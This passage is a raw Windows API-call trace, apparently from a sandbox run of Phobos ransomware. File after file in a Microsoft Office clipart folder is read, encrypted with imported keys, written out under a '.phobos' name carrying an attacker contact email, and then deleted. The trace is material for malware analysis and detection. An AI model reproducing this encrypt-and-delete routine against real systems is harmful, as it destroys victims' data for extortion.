office\\root\\clipart\\pub60cor\\ed00010_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.220] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753158) returned 1 [0133.220] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.220] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x566, lpOverlapped=0x0) returned 1 [0133.226] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x570, dwBufLen=0x570 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x570) returned 1 [0133.226] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x570, lpOverlapped=0x0) returned 1 [0133.227] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752c58) returned 1 [0133.227] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.227] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.227] CryptDestroyKey (hKey=0x752c58) returned 1 [0133.227] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.227] CryptDestroyKey (hKey=0x753158) returned 1 [0133.227] CloseHandle (hObject=0x310) returned 1 [0133.227] CloseHandle (hObject=0x30c) returned 1 [0133.227] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0133.228] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.228] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2700) returned 1 [0133.228] CloseHandle (hObject=0x30c) returned 1 [0133.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220 [0133.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.229] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.229] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.229] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752ad8) returned 1 [0133.229] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.229] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0xa8c, lpOverlapped=0x0) returned 1 [0133.312] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xa90, dwBufLen=0xa90 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xa90) returned 1 [0133.312] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xa90, lpOverlapped=0x0) returned 1 [0133.313] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752d58) returned 1 [0133.313] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.313] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.313] CryptDestroyKey (hKey=0x752d58) returned 1 [0133.313] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.313] CryptDestroyKey (hKey=0x752ad8) returned 1 [0133.313] CloseHandle (hObject=0x30c) returned 1 [0133.313] CloseHandle (hObject=0x310) returned 1 [0133.313] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0133.314] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.314] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=6938) returned 1 [0133.314] CloseHandle (hObject=0x310) returned 1 [0133.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0x220 [0133.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.315] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.315] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.315] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752e98) returned 1 [0133.315] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.315] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x1b1a, lpOverlapped=0x0) returned 1 [0133.318] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1b20, dwBufLen=0x1b20 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1b20) returned 1 [0133.318] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x1b20, lpOverlapped=0x0) returned 1 [0133.319] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752ed8) returned 1 [0133.319] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.319] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.319] CryptDestroyKey (hKey=0x752ed8) returned 1 [0133.319] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.319] CryptDestroyKey (hKey=0x752e98) returned 1 [0133.319] CloseHandle (hObject=0x310) returned 1 [0133.319] CloseHandle (hObject=0x30c) returned 1 [0133.319] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0133.320] SetEvent (hEvent=0x2b8) returned 1 [0133.320] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.320] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=12356) returned 1 [0133.320] CloseHandle (hObject=0x30c) returned 1 [0133.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220 [0133.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.321] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.321] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.321] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752e58) returned 1 [0133.321] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.321] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x3044, lpOverlapped=0x0) returned 1 [0133.342] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3050, dwBufLen=0x3050 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3050) returned 1 [0133.342] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x3050, lpOverlapped=0x0) returned 1 [0133.343] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752ad8) returned 1 [0133.343] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.343] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.343] CryptDestroyKey (hKey=0x752ad8) returned 1 [0133.344] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.344] CryptDestroyKey (hKey=0x752e58) returned 1 [0133.344] CloseHandle (hObject=0x30c) returned 1 [0133.344] CloseHandle (hObject=0x310) returned 1 [0133.344] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0133.345] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.345] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2280) returned 1 [0133.345] CloseHandle (hObject=0x310) returned 1 [0133.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220 [0133.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.345] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.345] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.346] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752f98) returned 1 [0133.346] CryptSetKeyParam (hKey=0x752f98, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.346] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x8e8, lpOverlapped=0x0) returned 1 [0133.356] CryptEncrypt (in: hKey=0x752f98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x8f0, dwBufLen=0x8f0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x8f0) returned 1 [0133.356] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x8f0, lpOverlapped=0x0) returned 1 [0133.357] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x7531d8) returned 1 [0133.357] CryptSetKeyParam (hKey=0x7531d8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.357] CryptEncrypt (in: hKey=0x7531d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.357] CryptDestroyKey (hKey=0x7531d8) returned 1 [0133.357] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.357] CryptDestroyKey (hKey=0x752f98) returned 1 [0133.357] CloseHandle (hObject=0x310) returned 1 [0133.357] CloseHandle (hObject=0x30c) returned 1 [0133.357] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0133.358] SetEvent (hEvent=0x2b8) returned 1 [0133.358] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.358] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=17308) returned 1 [0133.358] CloseHandle (hObject=0x30c) returned 1 [0133.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220 [0133.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.358] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.358] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.359] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752d18) returned 1 [0133.359] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.359] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x439c, lpOverlapped=0x0) returned 1 [0133.398] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x43a0, dwBufLen=0x43a0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x43a0) returned 1 [0133.398] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x43a0, lpOverlapped=0x0) returned 1 [0133.399] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752a18) returned 1 [0133.399] CryptSetKeyParam (hKey=0x752a18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.399] CryptEncrypt (in: hKey=0x752a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.399] CryptDestroyKey (hKey=0x752a18) returned 1 [0133.399] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.399] CryptDestroyKey (hKey=0x752d18) returned 1 [0133.399] CloseHandle (hObject=0x30c) returned 1 [0133.399] CloseHandle (hObject=0x310) returned 1 [0133.399] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0133.400] SetEvent (hEvent=0x2b8) returned 1 [0133.400] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" 